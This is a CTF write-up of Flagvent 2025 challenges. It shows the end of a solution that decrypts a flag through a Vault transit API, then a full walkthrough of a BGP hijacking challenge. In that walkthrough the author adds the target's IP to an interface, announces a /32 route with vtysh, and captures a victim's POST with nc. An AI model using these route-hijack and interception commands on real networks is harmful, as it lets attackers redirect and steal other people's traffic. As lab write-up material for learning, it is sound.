oxdf@blake:~/flagvent2025/day13$ curl -s "https://3fdc655b-1097-4452-80e0-9cdf84c5dca2.challs.flagvent.org:31337/apis/ctf.flagvent.org/v1alpha1/secrets" -H "Authorization: Bearer $TOKEN" | jq '.items[] | {kind, name: .metadata.name, namespace: .metadata.namespace, spec}'
{
"kind": "Secret",
"name": "flag",
"namespace": "kube-system",
"spec": {
"ciphertext": "vault:v1:PuxAoNGbN4YCVb9MJB+EsbYV8GHyzZYNMDKvsPQ5VUDXGHniPlTWHNtLDRpf6o5qv23gYSGDf18BPKuG",
"transitKey": "ctf",
"transitMount": "transit"
}
}
There’s an encrypted flag in the kube-system namespace.
Decrypt Flag
I’ll decrypt the flag using the transit decrypt endpoint for the ctf transit key:
oxdf@blake:~/flagvent2025/day13$ curl -s "https://093dd720-e759-453f-a5a7-47389420c576.challs.flagvent.org:31337/v1/transit/decrypt/ctf" -H "X-Vault-Token: s.M9GoAOZyCgFuUoRmBiuM44Ri" -H "Content-Type: application/json" -d '{"ciphertext": "vault:v1:PuxAoNGbN4YCVb9MJB+EsbYV8GHyzZYNMDKvsPQ5VUDXGHniPlTWHNtLDRpf6o5qv23gYSGDf18BPKuG"}' | jq .
{
"request_id": "72ac7977-2471-754c-e0b6-2a29055f09e5",
"lease_id": "",
"renewable": false,
"lease_duration": 0,
"data": {
"plaintext": "RlYyNXt3MHdfc3VjaF80X2QzdjBwc18zbmdpbjMzcn0="
},
"wrap_info": null,
"warnings": null,
"auth": null
}
The plaintext is in .data.plaintext, base64-encoded. I’ll decode it:
oxdf@blake:~/flagvent2025/day13$ curl -s "https://093dd720-e759-453f-a5a7-47389420c576.challs.flagvent.org:31337/v1/transit/decrypt/ctf" -H "X-Vault-Token: s.M9GoAOZyCgFuUoRmBiuM44Ri" -H "Content-Type: application/json" -d '{"ciphertext": "vault:v1:PuxAoNGbN4YCVb9MJB+EsbYV8GHyzZYNMDKvsPQ5VUDXGHniPlTWHNtLDRpf6o5qv23gYSGDf18BPKuG"}' | jq -r .data.plaintext | base64 -d
FV25{w0w_such_4_d3v0ps_3ngin33r}
Flag: FV25{w0w_such_4_d3v0ps_3ngin33r}
FV25.19
Challenge
Good evening, Agent Spioniro Golubiro Our analysts have detected a disturbing surge in so-called “brainrot CTF challenges”. Through careful intelligence work, we have identified a criminal centralized brainrot distribution network: https://brainrotdb.oct.flagvent.org (only reachable if you are connected to an instance) This site is actively accepting and distributing new brainrots and making the problem worse with every day that passes by. We were also able to identify one of the site’s most active users, he goes by the codename name “hackerino shrimpini” and he usually posts from the IP 175.45.176.142 Your objective: Compromise the system, seize full control of the platform and steal all the brainrots (We are especially interested in the secret ones hackerino shrimpini is submitting). No method is off the table, collateral damage to the internet itself is… acceptable. Author’s notes:
|
|
| Categories: |
|
| Level: | leet |
| Authors: | sebi364, xtea418 |
| Spawnable Instances: |
|
Spawning the instance gives a webpage that talks about the instance that’s spawning, with instructions for connecting:
Enumeration
I’ll connect with the given command to get a root shell on the entrypoint box:
oxdf@hacky$ ssh -o "ProxyCommand=ncat --ssl 006948b535-9e9e4ea3-fb66-5b55-a333-1b582d951cf7.challs.oct.flagvent.org 22" root@175.45.179.129
Warning: Permanently added '175.45.179.129' (ED25519) to the list of known hosts.
root@175.45.179.129's password:
entrypoint:~#
In /root there’s a hint.txt:
You are a router, you route other people's things.
The host has multiple interfaces:
entrypoint:/etc/frr# ip addr
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
inet6 ::1/128 scope host proto kernel_lo
valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default qlen 1000
link/ether 52:54:00:12:34:56 brd ff:ff:ff:ff:ff:ff
inet 10.0.2.15/24 brd 10.0.2.255 scope global dynamic noprefixroute eth0
valid_lft 85541sec preferred_lft 74741sec
inet6 fec0::d2ee:fd44:b9ed:c8c/64 scope site dynamic mngtmpaddr noprefixroute
valid_lft 85956sec preferred_lft 13956sec
inet6 fec0::5054:ff:fe12:3456/64 scope site dynamic mngtmpaddr proto kernel_ra
valid_lft 85533sec preferred_lft 13533sec
inet6 fe80::5054:ff:fe12:3456/64 scope link proto kernel_ll
valid_lft forever preferred_lft forever
3: eth1: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default qlen 1000
link/ether 52:54:00:12:34:57 brd ff:ff:ff:ff:ff:ff
inet 175.45.179.226/31 scope global eth1
valid_lft forever preferred_lft forever
inet6 fe80::5054:ff:fe12:3457/64 scope link proto kernel_ll
valid_lft forever preferred_lft forever
4: eth2: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default qlen 1000
link/ether 52:54:00:12:34:58 brd ff:ff:ff:ff:ff:ff
inet 175.45.179.230/31 scope global eth2
valid_lft forever preferred_lft forever
inet6 fe80::5054:ff:fe12:3458/64 scope link proto kernel_ll
valid_lft forever preferred_lft forever
5: wg0: <POINTOPOINT,NOARP,UP,LOWER_UP> mtu 1280 qdisc noqueue state UNKNOWN group default qlen 1000
link/none
inet 175.45.176.1/25 scope global wg0
valid_lft forever preferred_lft forever
There are multiple interfaces - eth0 is management, eth1 and eth2 connect to BGP neighbors, and wg0 is a WireGuard tunnel.
In /etc, there’s an frr directory, which is related to FRRouting, a:
free and open source Internet routing protocol suite for Linux and Unix platforms. It implements BGP, OSPF, RIP, IS-IS, PIM, LDP, BFD, Babel, PBR, OpenFabric and VRRP, with alpha support for EIGRP and NHRP.
frr.conf is a Cisco-style config file:
hostname entypoint
log syslog
router bgp 65000
no bgp ebgp-requires-policy
bgp router-id 175.45.178.1
neighbor 175.45.179.227 remote-as 65001
neighbor 175.45.179.231 remote-as 65002
neighbor 175.45.179.229 remote-as 65004
address-family ipv4 unicast
! fix, so you don't have to specify the source-interface every time
! not relevant for the solution, don't tamper with this
network 175.45.176.0/25
network 175.45.179.230/31
network 175.45.179.226/31
network 175.45.179.228/31
! fix end
neighbor 175.45.179.227 activate
neighbor 175.45.179.231 activate
neighbor 175.45.179.229 activate
exit-address-family
entrypoint in AS 65000, with BGP peers in AS 65001, 65002, and 65004. Checking the BGP status:
# vtysh -c "show ip bgp summary"
IPv4 Unicast Summary:
BGP router identifier 175.45.178.1, local AS number 65000 vrf-id 0
BGP table version 6
RIB entries 11, using 1056 bytes of memory
Peers 3, using 64 KiB of memory
Neighbor V AS MsgRcvd MsgSent TblVer InQ OutQ Up/Down State/PfxRcd
175.45.179.227 4 65001 15 14 6 0 0 00:11:23 1
175.45.179.229 4 65004 0 0 0 0 0 never Connect
175.45.179.231 4 65002 15 14 6 0 0 00:11:23 3
Two peers are up (AS 65001 and 65002), while AS 65004 never connected. Looking at the routes they’re advertising:
entrypoint:~# vtysh -c "show ip bgp"
BGP table version is 7, local router ID is 175.45.178.1, vrf id 0
Default local pref 100, local AS 65000
Status codes: s suppressed, d damped, h history, * valid, > best, = multipath,
i internal, r RIB-failure, S Stale, R Removed
Nexthop codes: @NNN nexthop's vrf id, < announce-nh-self
Origin codes: i - IGP, e - EGP, ? - incomplete
RPKI validation codes: V valid, I invalid, N Not found
Network Next Hop Metric LocPrf Weight Path
*> 175.45.176.0/25 0.0.0.0 0 32768 i
*> 175.45.176.128/25
175.45.179.231 0 65002 65005 i
*> 175.45.177.0/25 175.45.179.231 0 65002 65003 i
*> 175.45.178.0/25 175.45.179.231 0 0 65002 i
*> 175.45.178.128/25
175.45.179.227 0 0 65001 i
*> 175.45.179.226/31
0.0.0.0 0 32768 i
175.45.179.228/31
0.0.0.0 0 32768 i
*> 175.45.179.230/31
0.0.0.0 0 32768 i
Displayed 8 routes and 8 total paths
Now I’ll resolve the BrainrotDB hostname to understand where it lives:
entrypoint:~# getent hosts brainrotdb.oct.flagvent.org
175.45.177.55 brainrotdb.oct.flagvent.org brainrotdb.oct.flagvent.org
BrainrotDB is at 175.45.177.55, which falls in the 175.45.177.0/25 range coming from AS 65002.
Based on this config, the routes being advertised, and the given scenario information, the network topology looks like:
flowchart TB
subgraph US["AS 65000 - Entrypoint (Us)"]
R0[["175.45.178.1\nwg0: 175.45.176.0/25"]]
end
subgraph PEERS["BGP Peers"]
direction LR
subgraph A1["AS 65001"]
R1["175.45.179.227"]
end
subgraph A2["AS 65002 - Transit"]
R2["175.45.179.231"]
end
A4["AS 65004\n(never connected)"]
end
subgraph TARGETS["Target Networks (via AS 65002)"]
direction LR
subgraph A3["AS 65003"]
DB[("BrainrotDB\n175.45.177.55")]
end
subgraph A5["AS 65005"]
HACK["hackerino\n175.45.176.142"]
end
end
R0 <-->|eth1| R1
R0 <-->|eth2| R2
R0 -.-x A4
R2 --- A3
R2 --- A5
HACK ==>|"POST /api/v1/classified"| DB
Solution
Strategy
The key insight is that AS 65002 is a transit provider connecting to both BrainrotDB (AS 65003) and hackerino (AS 65005). When hackerino POSTs classified brainrots to BrainrotDB, that traffic flows through AS 65002. If I can announce a more specific route for BrainrotDB’s IP, the traffic will come to me instead.
The challenge is a BGP hijacking attack. A simulated “hackerino shrimpini” periodically POSTs classified brainrots to BrainrotDB every 5-10 seconds. By hijacking the BrainrotDB IP via BGP, I redirect hackerino’s POST requests to myself and capture the classified brainrot content (which contains the flag).
This is very similar to the BGP hijack I showed in HackTheBox Carrier.
BGP Hijacking
The attack strategy is to announce a more specific route for BrainrotDB’s IP. When hackerino tries to POST to 175.45.177.55, the traffic will come to me instead.
First, I’ll add BrainrotDB’s IP to my interface:
# ip addr add 175.45.177.55/32 dev wg0
Then announce this route via BGP. A /32 is more specific than the existing /25, so it will be preferred:
# vtysh -c 'conf t' -c 'router bgp 65000' -c 'address-family ipv4 unicast' -c 'network 175.45.177.55/32'
I can verify the route is in the BGP table and being advertised:
entrypoint:~# vtysh -c 'show ip bgp 175.45.177.55/32'
BGP routing table entry for 175.45.177.55/32, version 8
Paths: (1 available, best #1, table default)
Advertised to non peer-group peers:
175.45.179.227 175.45.179.231
Local
0.0.0.0 from 0.0.0.0 (175.45.178.1)
Origin IGP, metric 0, weight 32768, valid, sourced, local, best (First path received)
Last update: Mon Dec 22 03:30:13 2025
Now I’ll listen for incoming connections:
entrypoint:~# nc -l -p 80 -s 175.45.177.55 -v
Listening on brainrotdb.oct.flagvent.org 80
Connection received on 175.45.176.142 39122
POST /api/v1/classified HTTP/1.1
Host: brainrotdb.oct.flagvent.org
User-Agent: curl/8.14.1
accept: application/json
Content-Type: application/json
Content-Length: 35
{"content":"FV25{1t'5_41w4y5_Dn5}"}
After about 10 seconds, hackerino’s POST request arrives at my listener with the flag in the request body.
Flag: FV25{1t'5_41w4y5_Dn5}